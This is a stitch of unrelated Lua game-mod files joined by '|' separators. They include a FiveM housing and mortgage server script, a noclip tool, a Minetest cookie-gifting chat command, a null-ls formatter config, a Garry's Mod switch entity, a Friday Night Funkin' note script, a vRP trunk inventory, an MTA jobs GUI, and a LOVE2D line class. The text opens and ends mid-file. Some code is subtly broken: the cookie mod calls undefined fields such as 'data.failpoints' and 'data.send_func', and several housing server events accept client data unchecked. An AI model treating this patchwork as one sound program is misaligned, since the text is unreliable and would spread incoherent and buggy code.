TriggerClientEvent('openFurnitureConfirm', src, house_id, house_model, nil)
end
end)
end)
RegisterServerEvent("house:enterhousebackdoor")
AddEventHandler("house:enterhousebackdoor", function(house_id, house_model,x,y,z)
local src = source
exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE house_id = ?', {house_id}, function(result)
TriggerClientEvent('house:entersuccess', src, house_id, house_model, json.decode(result[1].furniture), x,y,z)
end)
end)
RegisterServerEvent('house:evictHouse')
AddEventHandler('house:evictHouse', function(hid, model, cid)
local src = source
local xPlayer = NPCore.GetPlayerFromId(src)
if xPlayer.job.name == "realtor" then
exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE house_id = ? AND house_model = ?', {hid, model}, function(result)
if result[1] ~= nil then
TriggerClientEvent("DoLongHudText", src, result[1].housename.. " has been deleted", 2)
print("User with cid: " ..cid .. " deleted a house with the address " ..result[1].housename) -- Need better logs/ no webhook. we need to start using a db log.
exports.ghmattimysql:execute("DELETE FROM __housedata WHERE house_id = @house_id AND house_model = @house_model", {['house_id'] = hid, ['house_model'] = model})
end
end)
end
end)
RegisterServerEvent("houses:PropertyOutstanding")
AddEventHandler("houses:PropertyOutstanding", function()
local src = source
TriggerClientEvent("housing:info:realtor", src, "PropertyOutstanding")
end)
RegisterServerEvent("house:PropertyOutstanding")
AddEventHandler("house:PropertyOutstanding", function(house_id, house_model)
local src = source
exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE house_id = ? AND house_model = ?', {house_id, house_model}, function(result)
if result[1] ~= nil then
TriggerClientEvent("DoLongHudText", src, "The Property Outstanding Balance is $" ..result[1].overall - result[1].due.. " with a pending payment of $" ..math.floor(result[1].due/result[1].payments))
end
end)
end)
RegisterServerEvent("housing:garagesSET")
AddEventHandler("housing:garagesSET", function(garages, house_id)
local src = source
local xPlayer = NPCore.GetPlayerFromId(src)
if xPlayer.job.name == "realtor" then
exports.ghmattimysql:execute("UPDATE __housedata SET `garages` = @garages WHERE `house_id` = @house_id", {
['@garages'] = json.encode(garages),
['@house_id'] = house_id
})
end
end)
RegisterServerEvent("house:transferHouse")
AddEventHandler("house:transferHouse", function(house_id, house_model, cid)
local src = source
local transfercid = tonumber(cid)
local xPlayer = NPCore.GetPlayerFromId(src)
if xPlayer.job.name == "realtor" then
exports.ghmattimysql:execute("UPDATE __housedata SET `cid` = @cid WHERE `house_model` = @house_model AND `house_id` = @house_id", {
['@cid'] = transfercid,
['@house_id'] = house_id,
['@house_model'] = house_model
})
TriggerClientEvent("DoLongHudText", src, "The house has been transfered over to cid: " ..transfercid, 1)
end
end)
RegisterServerEvent("house:dopayment")
AddEventHandler("house:dopayment", function(house_id, house_model)
local src = source
local xPlayer = NPCore.GetPlayerFromId(src)
exports.ghmattimysql:execute('SELECT * FROM __housedata WHERE house_id = ? AND house_model = ?', {house_id, house_model}, function(result)
if result[1] ~= nil then
local amountdue = math.floor(result[1].due/result[1].payments)
if result[1].can_pay ~= "false" then
if result[1].due ~= tonumber(0) then
if xPlayer.getBank() >= amountdue then
xPlayer.removeBank(amountdue)
exports.ghmattimysql:execute("UPDATE __housedata SET `payments` = @payments, `due` = @due, `days` = @days, `can_pay` = @can_pay WHERE `house_id` = @house_id AND `house_model` = @house_model", {
['@payments'] = result[1].payments - 1,
['@due'] = result[1].due - amountdue,
['@house_id'] = house_id,
['@days'] = repayTime,
['@can_pay'] = "false",
['@house_model'] = house_model
})
local paymentsleft = result[1].payments - 1
Citizen.Wait(5000)
TriggerClientEvent("DoLongHudText", src, "You still have " ..paymentsleft.. " payments left and a existing mortage of $" ..result[1].due - amountdue, 1)
else
TriggerClientEvent("DoLongHudText", src, "You cant afford the payment of $" ..amountdue, 2)
end
else
Citizen.Wait(10000)
TriggerClientEvent("DoLongHudText", src, "Your house is fully paid off!")
end
else
TriggerClientEvent("DoLongHudText", src, "You just recently paid your mortgage payment. You need to wait a week", 2)
end
end
end)
end)
function updateFinance()
exports.ghmattimysql:execute('SELECT days, house_id FROM __housedata WHERE days > @days', {
["@days"] = 0
}, function(result)
for i=1, #result do
local financeTimer = result[i].days
local house_id = result[i].house_id
local newTimer = financeTimer - 10
if financeTimer ~= nil then
MySQL.Sync.execute('UPDATE __housedata SET days = @days WHERE house_id = @house_id', {
['@house_id'] = house_id,
['@days'] = newTimer
})
end
if financeTimer < 100 then
exports.ghmattimysql:execute("UPDATE __housedata SET `can_pay` = @can_pay WHERE `house_id` = @house_id ", {
['@can_pay'] = "true",
['@house_id'] = house_id
})
end
end
end)
SetTimeout(timer, updateFinance)
end
SetTimeout(timer, updateFinance)
RegisterServerEvent('UpdateFurniture')
AddEventHandler('UpdateFurniture', function(house_id, house_model, modifiedObjects)
exports.ghmattimysql:execute("UPDATE __housedata SET `furniture` = @furniture WHERE `house_id` = @house_id AND `house_model` = @house_model", {
['@furniture'] = json.encode(modifiedObjects),
['@house_id'] = house_id,
['@house_model'] = house_model
})
end)
|
--[[
* Created by MiiMii1205
* license MIT
--]] -- Constants --
MOVE_UP_KEY = 20
MOVE_DOWN_KEY = 44
CHANGE_SPEED_KEY = 21
MOVE_LEFT_RIGHT = 30
MOVE_UP_DOWN = 31
NOCLIP_TOGGLE_KEY = 289
NO_CLIP_NORMAL_SPEED = 0.5
NO_CLIP_FAST_SPEED = 2.5
ENABLE_TOGGLE_NO_CLIP = true
ENABLE_NO_CLIP_SOUND = true
local eps = 0.01
local RESSOURCE_NAME = GetCurrentResourceName();
STARTUP_STRING = ('%s v%s initialized'):format(RESSOURCE_NAME, GetResourceMetadata(RESSOURCE_NAME, 'version', 0))
STARTUP_HTML_STRING = (':business_suit_levitating: %s <small>v%s</small> initialized'):format(RESSOURCE_NAME,
GetResourceMetadata(RESSOURCE_NAME, 'version', 0))
-- Variables --
local isNoClipping = false
local speed = NO_CLIP_NORMAL_SPEED
local input = vector3(0, 0, 0)
local previousVelocity = vector3(0, 0, 0)
local breakSpeed = 10.0;
local offset = vector3(0, 0, 1);
local noClippingEntity = playerPed;
function ToggleNoClipMode()
return SetNoClip(not isNoClipping)
end
function IsControlAlwaysPressed(inputGroup, control)
return IsControlPressed(inputGroup, control) or IsDisabledControlPressed(inputGroup, control)
end
function IsControlAlwaysJustPressed(inputGroup, control)
return IsControlJustPressed(inputGroup, control) or IsDisabledControlJustPressed(inputGroup, control)
end
function Lerp(a, b, t)
return a + (b - a) * t
end
function IsPedDrivingVehicle(ped, veh)
return ped == GetPedInVehicleSeat(veh, -1);
end
function SetInvincible(val, id)
SetEntityInvincible(id, val)
return SetPlayerInvincible(id, val)
end
function SetNoClip(val)
if (isNoClipping ~= val) then
local playerPed = PlayerPedId()
noClippingEntity = playerPed;
if IsPedInAnyVehicle(playerPed, false) then
local veh = GetVehiclePedIsIn(playerPed, false);
if IsPedDrivingVehicle(playerPed, veh) then
noClippingEntity = veh;
end
end
local isVeh = IsEntityAVehicle(noClippingEntity);
isNoClipping = val;
if ENABLE_NO_CLIP_SOUND then
if isNoClipping then
PlaySoundFromEntity(-1, "SELECT", playerPed, "HUD_LIQUOR_STORE_SOUNDSET", 0, 0)
else
PlaySoundFromEntity(-1, "CANCEL", playerPed, "HUD_LIQUOR_STORE_SOUNDSET", 0, 0)
end
end
TriggerEvent('msgprinter:addMessage',
((isNoClipping and ":airplane: No-clip enabled") or ":rock: No-clip disabled"), GetCurrentResourceName());
SetUserRadioControlEnabled(not isNoClipping);
if (isNoClipping) then
TriggerEvent('instructor:add-instruction', {MOVE_LEFT_RIGHT, MOVE_UP_DOWN}, "move", RESSOURCE_NAME);
TriggerEvent('instructor:add-instruction', {MOVE_UP_KEY, MOVE_DOWN_KEY}, "move up/down", RESSOURCE_NAME);
TriggerEvent('instructor:add-instruction', {1, 2}, "Turn", RESSOURCE_NAME);
TriggerEvent('instructor:add-instruction', CHANGE_SPEED_KEY, "(hold) fast mode", RESSOURCE_NAME);
TriggerEvent('instructor:add-instruction', NOCLIP_TOGGLE_KEY, "Toggle No-clip", RESSOURCE_NAME);
SetEntityAlpha(noClippingEntity, 51, 0)
-- Start a No CLip thread
Citizen.CreateThread(function()
local clipped = noClippingEntity
local pPed = playerPed;
local isClippedVeh = isVeh;
-- We start with no-clip mode because of the above if --
SetInvincible(true, clipped);
if not isClippedVeh then
ClearPedTasksImmediately(pPed)
end
while isNoClipping do
Citizen.Wait(0);
FreezeEntityPosition(clipped, true);
SetEntityCollision(clipped, false, false);
SetEntityVisible(clipped, false, false);
SetLocalPlayerVisibleLocally(true);
SetEntityAlpha(clipped, 51, false)
SetEveryoneIgnorePlayer(pPed, true);
SetPoliceIgnorePlayer(pPed, true);
-- `(a and b) or c`, is basically `a ? b : c` --
input = vector3(GetControlNormal(0, MOVE_LEFT_RIGHT), GetControlNormal(0, MOVE_UP_DOWN),
(IsControlAlwaysPressed(1, MOVE_UP_KEY) and 1) or
((IsControlAlwaysPressed(1, MOVE_DOWN_KEY) and -1) or 0))
speed = ((IsControlAlwaysPressed(1, CHANGE_SPEED_KEY) and NO_CLIP_FAST_SPEED) or
NO_CLIP_NORMAL_SPEED) * ((isClippedVeh and 2.75) or 1)
MoveInNoClip();
end
Citizen.Wait(0);
FreezeEntityPosition(clipped, false);
SetEntityCollision(clipped, true, true);
SetEntityVisible(clipped, true, false);
SetLocalPlayerVisibleLocally(true);
ResetEntityAlpha(clipped);
SetEveryoneIgnorePlayer(pPed, false);
SetPoliceIgnorePlayer(pPed, false);
ResetEntityAlpha(clipped);
Citizen.Wait(500);
-- We're done with the while so we aren't in no-clip mode anymore --
-- Wait until the player starts falling or is completely stopped --
if isClippedVeh then
while (not IsVehicleOnAllWheels(clipped)) and not isNoClipping do
Citizen.Wait(0);
end
while not isNoClipping do
Citizen.Wait(0);
if IsVehicleOnAllWheels(clipped) then
-- We hit land. We can safely remove the invincibility --
return SetInvincible(false, clipped);
end
end
else
if (IsPedFalling(clipped) and math.abs(1 - GetEntityHeightAboveGround(clipped)) > eps) then
while (IsPedStopped(clipped) or not IsPedFalling(clipped)) and not isNoClipping do
Citizen.Wait(0);
end
end
while not isNoClipping do
Citizen.Wait(0);
if (not IsPedFalling(clipped)) and (not IsPedRagdoll(clipped)) then
-- We hit land. We can safely remove the invincibility --
return SetInvincible(false, clipped);
end
end
end
end)
else
ResetEntityAlpha(noClippingEntity)
TriggerEvent('instructor:flush', RESSOURCE_NAME);
end
end
end
function MoveInNoClip()
SetEntityRotation(noClippingEntity, GetGameplayCamRot(0), 0, false)
local forward, right, up, c = GetEntityMatrix(noClippingEntity);
previousVelocity = Lerp(previousVelocity,
(((right * input.x * speed) + (up * -input.z * speed) + (forward * -input.y * speed))), Timestep() * breakSpeed);
c = c + previousVelocity
SetEntityCoords(noClippingEntity, c - offset, true, true, true, false)
end
function MoveCarInNoClip()
SetEntityRotation(noClippingEntity, GetGameplayCamRot(0), 0, false)
local forward, right, up, c = GetEntityMatrix(noClippingEntity);
previousVelocity = Lerp(previousVelocity,
(((right * input.x * speed) + (up * input.z * speed) + (forward * -input.y * speed))), Timestep() * breakSpeed);
c = c + previousVelocity
SetEntityCoords(noClippingEntity, (c - offset) + (vec(0, 0, .3)), true, true, true, false)
end
AddEventHandler('onResourceStop', function(resourceName)
if resourceName == RESSOURCE_NAME then
SetNoClip(false);
FreezeEntityPosition(noClippingEntity, false);
SetEntityCollision(noClippingEntity, true, true);
SetEntityVisible(noClippingEntity, true, false);
SetLocalPlayerVisibleLocally(true);
ResetEntityAlpha(noClippingEntity);
SetEveryoneIgnorePlayer(playerPed, false);
SetPoliceIgnorePlayer(playerPed, false);
ResetEntityAlpha(noClippingEntity);
SetInvincible(false, noClippingEntity);
end
end)
|
-- Cookies Recipe :
if not rawget(_G,"data") then
data = {}
end
data.oven = minetest.get_worldpath().."/cookies"
data.cookies = {}
-- cookie_baker priv to create cookie
minetest.register_privilege("baker","Is able to bake CooKies and give them to anybody else")
-- Loading cookies from oven
pntf = io.open(data.oven,"r")
if pntf == nil then
pntf = io.open(data.oven,"w")
else
repeat
local line = pntf:read()
if line == nil or line == "" then break end
data.cookies[line:split(" ")[1]] = line:split(" ")[2]+0
until 1 == 0 -- Ok, not the best way to create a loop..
end
io.close(pntf)
minetest.log("action","[FailPoints] CooKies baked")
-- Global callbacks
minetest.register_on_shutdown(function()
-- Stocking CooKies
pntf = io.open(data.oven,"w")
for i,v in pairs(data.cookies) do
if v ~= 0 then
pntf:write(i.." "..v.."\n")
end
end
io.close(pntf)
end)
minetest.register_chatcommand("cookie", {
params = "<subcommand> <subcommandparam> | <playername>",
description = "CooKie baking command",
privs = {shout = true},
func = function(name, parameters)
local paramlist = parameters:split(" ")
local param = paramlist[1]
local param2 = paramlist[2]
if param == "help" or param == nil then
minetest.chat_send_player(name,"CooKie recipe's help :")
minetest.chat_send_player(name,"/cookie <subcommand> | <playername>")
minetest.chat_send_player(name,"Available subcommands :")
minetest.chat_send_player(name," - help : show this help")
minetest.chat_send_player(name," - view | view <playername> : View player's CooKies amount")
return
elseif param == "settings" then
if not minetest.get_player_privs(name)["server"] then
minetest.chat_send_player(name,"You're not allowed to perform this command. (Missing privilege : server)")
return
end
minetest.chat_send_player(name,"=== CK_DEBUG_LINES SENT ===")
print("=== CK_DEBUG_LINES ===")
local send_admin = function(msg)
minetest.chat_send_player(name,msg)
end
send_admin("CK File")
if pntf ~= nil then
send_admin("Found")
else
send_admin("Missing!")
end
table.foreach(data,print)
return
elseif param == "view" then
if param2 == "" or param2 == nil then
local owncookies = 0
if data.cookies[name] then
owncookies = data.cookies[name]
end
minetest.chat_send_player(name,"-CK- You own "..owncookies.." CooKies.")
return true
end
if data.cookies[param2] ~= nil and data.cookies[param2] > 0 then
minetest.chat_send_player(name,"-CK- Player "..param2.." owns "..data.cookies[param2].." CooKies.")
else
minetest.chat_send_player(name,"-CK- Player "..param2.." doesn't seem to own any CooKie.")
end
else
-- If not any known command
if name == param then
if minetest.get_player_privs(name)["baker"] == true then
minetest.log("error",name.." tried to create a CooKie by giving to himself")
minetest.chat_send_player(name,"-CK- Congratulation, you failed. Don't try to cook for yourself, don't be selfish :p")
else
minetest.log("action",name.."cooked himself a CooKie")
data.send_func(name,"-CK- You failed: It appears the name you entered is yours")
data.send_func(name,"Don't try to cook yourself CooKies, share them :p")
end
return false
end
if param == "" then
minetest.chat_send_player(name,"-CK- You failed: Not enough parameters given, type /cookie help for help")
return false
end
if not data.is_player_available(param) then
minetest.chat_send_player(name,"-CK- You failed: Sorry, "..param.." isn't online.")
return false
end
-- Take, or not, cookies from name's account to give them to param
if minetest.get_player_privs(name)["baker"] ~= true then
if data.cookies[name] == nil or data.failpoints[name] == 0 then
minetest.chat_send_player(name,"You failed: You don't have enough CooKies.. Cook some!")
return false
elseif data.cookies[name] > 0 then
data.cookies[name] = data.cookies[name] -1
end
else
minetest.log("action","[FailPoints] "..name.." has baked a CooKie.")
end
-- Give/Add the CooKie to param' account
if data.cookies[param] == nil then
data.cookies[param] = 1
else
data.cookies[param] = data.cookies[param]+1
end
minetest.log("action","[FailPoints] "..name.." has given a CooKie to "..param)
minetest.log("action","[FailPoints] "..param.." now own "..data.cookies[param].."CKs")
minetest.log("action","[FailPoints] "..name.." now own "..(data.cookies[name] or 0).."CKs")
minetest.sound_play({
name = "cookie",
to_player = param,
gain = 0.1
})
local message_reason = "."
if param2 ~= nil then
local m_table = paramlist
table.remove(m_table,1)
message_reason = " because "
for _,k in ipairs(m_table) do
message_reason = message_reason..k.." "
end
end
data.send_func(param,"Congratulations "..param..", you get a CooKie" .. message_reason)
minetest.chat_send_player(name,"CooKie sent.")
end
end
})
|
local h = require("null-ls.helpers")
local methods = require("null-ls.methods")
local DIAGNOSTICS = methods.internal.DIAGNOSTICS
return h.make_builtin({
name = "cue_fmt",
method = DIAGNOSTICS,
filetypes = { "cue" },
generator_opts = {
command = "cue",
args = { "fmt", "$FILENAME" },
format = "raw",
from_stderr = true,
to_temp_file = true,
check_exit_code = function(code)
return code <= 1
end,
on_output = function(params, done)
local diagnostics = {}
local lines = vim.split(params.output, "\n")
for i, err in ipairs(lines) do
if i % 2 == 0 then
local row, col = string.match(err, ".*:(%d+):(%d+)")
table.insert(diagnostics, {
row = row,
col = col,
end_col = col + 1,
source = "cue_fmt",
message = lines[i - 1],
severity = 1,
})
end
end
done(diagnostics)
end,
},
factory = h.generator_factory,
})
|
AddCSLuaFile()
DEFINE_BASECLASS( "sent_tv_io_base" )
ENT.PrintName = "IO: Switch"
ENT.Author = "raubana"
ENT.Information = ""
ENT.Category = "Tunnel Vision"
ENT.Editable = true
ENT.Spawnable = true
ENT.AdminOnly = true
ENT.RenderGroup = RENDERGROUP_OPAQUE
ENT.NumInputs = 1
ENT.NumOutputs = 2
ENT.InstantUpdate = true
list.Add( "TV_IO_ents", "sent_tv_io_switch" )
function ENT:Initialize()
self:SetModel( "models/tunnelvision/io_models/io_switch.mdl" )
self:DrawShadow( false )
if SERVER then
self:PhysicsInit(SOLID_VPHYSICS)
self:GetPhysicsObject():EnableMotion(false)
self:SetUseType( SIMPLE_USE )
self:IOInit()
self.is_on = false
self:SetSkin( 0 )
if self.start_state then
self:SetState( self.start_state )
self:DeriveIOFromState()
self.start_state = nil
end
if self.start_is_on then
self:SetOn( true )
self.start_is_on = nil
end
end
end
function ENT:GetInputPos( x )
local pos = self:GetPos()
pos = pos + (self:GetForward() * 0.5) + (self:GetRight()*2)
return pos
end
function ENT:GetOutputPos( x )
local pos = self:GetPos()
if x == 1 then
pos = pos + (self:GetForward() * 0.5) - (self:GetRight()*2) + (self:GetUp() * 1.75)
else
pos = pos + (self:GetForward() * 0.5) - (self:GetRight()*2) - (self:GetUp() * 1.75)
end
return pos
end
if SERVER then
function ENT:SetOn( silent )
self.is_on = true
if not silent then self:EmitSound( "buttons/lightswitch2.wav", 55 ) end
self:SetSkin( 1 )
end
function ENT:SetOff( silent )
self.is_on = false
if not silent then self:EmitSound( "buttons/lightswitch2.wav", 55 ) end
self:SetSkin( 0 )
end
function ENT:Use( activator, caller, useType, value )
self.is_on = not self.is_on
if self.is_on then
self:SetOn()
self:TriggerOutput("OnSwitchedOn", self)
if self:GetInputX(1) == true then
self:TriggerOutput("OnSwitchedOnHasPower", self)
else
self:TriggerOutput("OnSwitchedOnHasNoPower", self)
end
else
self:SetOff()
self:TriggerOutput("OnSwitchedOff", self)
if self:GetInputX(1) == true then
self:TriggerOutput("OnSwitchedOffHasPower", self)
else
self:TriggerOutput("OnSwitchedOffHasNoPower", self)
end
end
self:TriggerOutput("OnSwitchChange", self)
hook.Call( "TV_IO_MarkEntityToBeUpdated", nil, self )
end
function ENT:KeyValue(key, value)
if key == "OnSwitchedOn" or key == "OnSwitchedOff" or key == "OnSwitchChange" or
key == "OnSwitchedOnHasPower" or key == "OnSwitchedOnHasNoPower" or
key =="OnSwitchedOffHasPower" or key =="OnSwitchedOffHasNoPower" or key =="OnChange" then
self:StoreOutput(key, value)
elseif key == "state" then
self.start_state = tonumber( value )
elseif key == "is_on" then
self.start_is_on = tobool( value )
end
end
function ENT:Update()
self:UpdateInputs()
self:StoreCopyOfOutputs()
if not self.is_on then
self:SetOutputX( 1, false )
self:SetOutputX( 2, self:GetInputX( 1 ) )
else
self:SetOutputX( 1, self:GetInputX( 1 ) )
self:SetOutputX( 2, false )
end
local old_state = self:GetState()
self:UpdateIOState()
local new_state = self:GetState()
if old_state != new_state then
self:TriggerOutput("OnChange", self)
end
self:MarkChangedOutputs()
end
function ENT:Pickle( ent_list, cable_list )
local data = {}
data.is_on = self.is_on
data.class = self:GetClass()
data.pos = self:GetPos()
data.angles = self:GetAngles()
data.state = self:GetState()
return util.TableToJSON( data )
end
function ENT:UnPickle( data, ent_list )
self:SetPos( data.pos )
self:SetAngles( data.angles )
self:SetState( data.state )
self:DeriveIOFromState()
self.is_on = data.is_on
end
end
|
function onCreate()
--Iterate over all notes
for i = 0, getProperty('unspawnNotes.length')-1 do
--Check if the note is an Instakill Note
if getPropertyFromGroup('unspawnNotes', i, 'noteType') == 'Static Note' then
setPropertyFromGroup('unspawnNotes', i, 'texture', 'StaticNOTE_assets'); --Change texture
setPropertyFromGroup('unspawnNotes', i, 'noteSplashTexture', 'staticSplash'); -- change splash
if getPropertyFromGroup('unspawnNotes', i, 'mustPress') then --Doesn't let Dad/Opponent notes get ignored
setPropertyFromGroup('unspawnNotes', i, 'ignoreNote', false); --Miss has no penalties
end
end
end
--debugPrint('Script started!')
end
-- Function called when you hit a note (after note hit calculations)
-- id: The note member id, you can get whatever variable you want from this note, example: "getPropertyFromGroup('notes', id, 'strumTime')"
-- noteData: 0 = Left, 1 = Down, 2 = Up, 3 = Right
-- noteType: The note type string/tag
-- isSustainNote: If it's a hold note, can be either true or false
function goodNoteHit(id, noteData, noteType, isSustainNote)
if noteType == 'Static Note' then
-- put something here if you want
end
end
-- Called after the note miss calculations
-- Player missed a note by letting it go offscreen
function noteMiss(id, noteData, noteType, isSustainNote)
if noteType == 'Static Note' then
-- put something here if you want
makeLuaSprite('image', 'StaticLUL', 200, 50);
addLuaSprite('image', true);
doTweenColor('hello', 'image', 'FFFFFFFF', 0.1, 'quartIn');
setObjectCamera('image', 'other');
runTimer('wait', 1);
bruh = getProperty('health');
setProperty('health', bruh - 0.25);
end
end
function onTimerCompleted(tag, loops, loopsleft)
if tag == 'wait' then
doTweenAlpha('byebye', 'image', 0, 0.1, 'linear');
end
end
function onTweenCompleted(tag)
if tag == 'byebye' then
removeLuaSprite('image', true);
end
end
|
isInTrunk = false
RegisterNetEvent("vrp.inventoryhud:refreshTrunk")
AddEventHandler("vrp.inventoryhud:refreshTrunk", function()
updateTrunk()
end)
function openTrunk()
local weight,data,_ = vrpServer.getInv(gridZone)
--if not IsPedInAnyVehicle(PlayerPedId(), false) then
local data2,max2,weight2,placa = vrpServer.loadTrunk()
if data2 then
isInInventory = true
SendNUIMessage({ action = "display", type = "trunk" })
SetNuiFocus(true, true)
SendNUIMessage({ action = "setText", text = 'ply-' .. GetPlayerServerId(PlayerId()), weight = weight, max = max })
SendNUIMessage({ action = "setItems", itemList = data })
SendNUIMessage({ action = "setSecondText", text = 'trunk-' .. placa, weight = weight2, max = max2 })
SendNUIMessage({ action = "setSecondItems", itemSList = data2 })
end
-- else
-- local data2,max2,weight2,placa = vrpServer.loadTrunk2()
-- if data2 then
-- isInInventory = true
-- SendNUIMessage({ action = "display", type = "trunk" })
-- SetNuiFocus(true, true)
-- SendNUIMessage({ action = "setText", text = 'ply-' .. GetPlayerServerId(PlayerId()), weight = weight, max = max })
-- SendNUIMessage({ action = "setItems", itemList = data })
-- SendNUIMessage({ action = "setSecondText", text = 'glovebox-' .. placa, weight = weight2, max = max2 })
-- SendNUIMessage({ action = "setSecondItems", itemSList = data2 })
-- end
-- end
end
function updateTrunk()
local weight,data,_,max = vrpServer.getInv(gridZone)
local data2,max2,weight2,placa = vrpServer.loadTrunk()
SendNUIMessage({ action = "setText", text = 'ply-' .. GetPlayerServerId(PlayerId()), weight = weight, max = max })
SendNUIMessage({ action = "setItems", itemList = data })
SendNUIMessage({ action = "setSecondText", text = 'trunk-' ..placa, weight = weight2, max = max2 })
SendNUIMessage({ action = "setSecondItems", itemSList = data2 })
end
RegisterNUICallback("PutIntoTrunk", function(data, cb)
if IsPedSittingInAnyVehicle(playerPed) then
return
end
if type(data.number) == "number" and math.floor(data.number) == data.number then
TriggerServerEvent("b03461cc:pd-inventory:putItem", data.data.item, data.number,veh)
end
Wait(500)
updateInventory()
updateTrunk()
end)
RegisterNUICallback("TakeFromTrunk", function(data, cb)
if IsPedSittingInAnyVehicle(playerPed) then
return
end
if type(data.number) == "number" and math.floor(data.number) == data.number then
TriggerServerEvent("b03461cc:pd-inventory:getItem", data.data.item, data.number)
end
Wait(500)
updateInventory()
updateTrunk()
end)
|
print(math.cos(1), math.sin(1), math.tan(1), math.atan(1), math.atan2(3, 4))
|
local jobs = exports.UCDjobsTable:getJobTable()
local blips = {}
local markers = {}
local GUI = {}
local originalSkin = {}
local frozen
local disabledControls = {"forwards", "backwards", "jump", "sprint", "left", "right"}
function onClientResourceStart()
local sX, sY = guiGetScreenSize()
-- GUI
GUI.window = GuiWindow(781, 377, 337, 418, "UCD | Jobs - ", false)
GUI.window.visible = false
GUI.window.sizable = false
GUI.window.alpha = 255
guiSetPosition(GUI.window, 0, (sY - 377) / 2, false)
GUI.label = GuiLabel(8, 30, 319, 198, "", false, GUI.window)
--[[
GUI.gridlist = GuiGridList(11, 238, 316, 120, false, GUI.window)
guiGridListAddColumn(GUI.gridlist, "Skin Name", 0.7)
guiGridListAddColumn(GUI.gridlist, "Skin ID", 0.2)
--]]
GUI.take = GuiButton(11, 368, 141, 36, "Take Job", false, GUI.window)
GUI.close = GuiButton(186, 368, 141, 36, "Close", false, GUI.window)
-- F5 GUI
--F5.window = GuiWindow()
-- Event handlers
addEventHandler("onClientGUIClick", GUI.take, takeJob, false)
addEventHandler("onClientGUIClick", GUI.close, toggleJobGUI, false)
-- Create markers
for jobName, info in pairs(jobs) do
if (info.markers) then
markers[jobName] = {}
blips[jobName] = {}
for i, v in ipairs(info.markers) do
markers[jobName][i] = Marker(v.x, v.y, v.z - 1, "cylinder", 2, info.colour.r, info.colour.g, info.colour.b, 120)
markers[jobName][i]:setData("job", jobName)
markers[jobName][i].interior = v.interior
markers[jobName][i].dimension = v.dimension
markers[jobName][i]:setData("displayText", jobName.." Job")
if (v.interior == 0 and info.blipID) then
blips[jobName][i] = Blip.createAttachedTo(markers[jobName][i], info.blipID, nil, nil, nil, nil, nil, 5, 255)
end
addEventHandler("onClientMarkerHit", markers[jobName][i], onJobMarkerHit)
addEventHandler("onClientMarkerLeave", markers[jobName][i], onJobMarkerLeave)
end
end
end
end
addEventHandler("onClientResourceStart", resourceRoot, onClientResourceStart)
function createGridList()
GUI.gridlist = GuiGridList(11, 238, 316, 120, false, GUI.window)
guiGridListAddColumn(GUI.gridlist, "Skin Name", 0.7)
guiGridListAddColumn(GUI.gridlist, "Skin ID", 0.2)
guiGridListSetSortingEnabled(GUI.gridlist, false)
addEventHandler("onClientGUIClick", GUI.gridlist, previewSkin)
end
function onJobMarkerHit(plr, matchingDimension)
if (plr and isElement(plr) and plr.type == "player" and plr == localPlayer and not plr.vehicle and matchingDimension) then
local jobName = source:getData("job")
if (markers[jobName] and blips[jobName]) then
if (plr.position.z - 1.5 < source.position.z and plr.position.z + 1.5 > source.position.z) then
--toggleJobGUI(jobName)
--for _, ctrl in ipairs(disabledControls) do
-- setControlState(ctrl, false)
--end
bindZ(jobName)
end
end
end
end
function onJobMarkerLeave(plr, matchingDimension)
if (plr and isElement(plr) and plr.type == "player" and plr == localPlayer and not plr.vehicle) then
local jobName = source:getData("job")
--if (jobName) then
--if (markers[jobName]) then
exports.UCDdx:del("jobgui")
unbindZ()
--end
--end
end
end
function bindZ(jobName)
bindKey("z", "down", toggleJobGUI, jobName)
exports.UCDdx:add("jobgui", "Press Z: Job GUI", 255, 215, 0)
end
function unbindZ()
unbindKey("z", "down", toggleJobGUI)
exports.UCDdx:del("jobgui")
end
function toggleJobGUI(_, _, jobName)
unbindZ()
GUI.window.visible = not GUI.window.visible
if (GUI.window.visible) then
if (jobName) then
-- Set text accordingly
if (#jobs[jobName].skins >= 1) then
createGridList()
else
if (GUI.gridlist) then
GUI.gridlist:destroy()
GUI.gridlist = nil
end
end
GUI.label.text = tostring(jobs[jobName].desc)
GUI.window.text = "UCD | Jobs - "..jobName
-- Add gridlist items for skins
for _, v in ipairs(jobs[jobName].skins) do
local row = guiGridListAddRow(GUI.gridlist)
guiGridListSetItemText(GUI.gridlist, row, 1, v[2], false, false)
guiGridListSetItemText(GUI.gridlist, row, 2, v[1], false, false)
end
end
showCursor(true)
--localPlayer.frozen = true
--frozen = true
originalSkin[localPlayer] = localPlayer.model
else
if (GUI.gridlist) then
guiGridListClear(GUI.gridlist)
end
GUI.label.text = ""
GUI.window.text = "UCD | Jobs - "
showCursor(false)
if (localPlayer.model ~= originalSkin[localPlayer] and originalSkin[localPlayer] ~= nil) then
localPlayer.model = originalSkin[localPlayer]
originalSkin[localPlayer] = nil
end
--if (localPlayer.frozen and frozen == true) then
-- localPlayer.frozen = false
-- frozen = false
--end
end
end
function previewSkin()
local row = guiGridListGetSelectedItem(GUI.gridlist)
if (row and row ~= -1) then
local skinID = tonumber(guiGridListGetItemText(GUI.gridlist, row, 2))
localPlayer.model = skinID
else
localPlayer.model = originalSkin[localPlayer]
end
end
function takeJob()
local jobName, skin
if (GUI.window.visible) then
jobName = gettok(GUI.window.text, 2, "-"):sub(2)
if (jobs[jobName]) then
local skinID
if (GUI.gridlist and isElement(GUI.gridlist)) then
local row = guiGridListGetSelectedItem(GUI.gridlist)
if (not row or row == -1) then
exports.UCDdx:new("You need to select a skin for this job", 255, 0, 0)
return
end
skinID = tonumber(guiGridListGetItemText(GUI.gridlist, row, 2))
end
-- Take the job
triggerServerEvent("UCDjobs.takeJob", localPlayer, jobName, skinID, originalSkin[localPlayer])
toggleJobGUI()
else
exports.UCDdx:new("Something went wrong when trying to take this job", 255, 0, 0)
end
end
end
|
local Line = {}
function Line:new(world, x1, y1, x2, y2, color)
local line = {}
setmetatable(line, self)
self.__index = self
line.b = love.physics.newBody(world, 0, 0, 'static')
line.s = love.physics.newEdgeShape( x1, y1, x2, y2 )
line.f = love.physics.newFixture( line.b, line.s )
line.color = color or {1,1,1}
return line
end
function Line.calculeColor(self, d)
d = d / 100
return {
self.color[1]/d,
self.color[2]/d,
self.color[3]/d,
1
}
end
function Line.draw2d(self)
love.graphics.line(self.b:getWorldPoints(self.s:getPoints()))
end
function Line.draw3d(self, d, i)
local screenW, screenH = love.graphics.getDimensions()
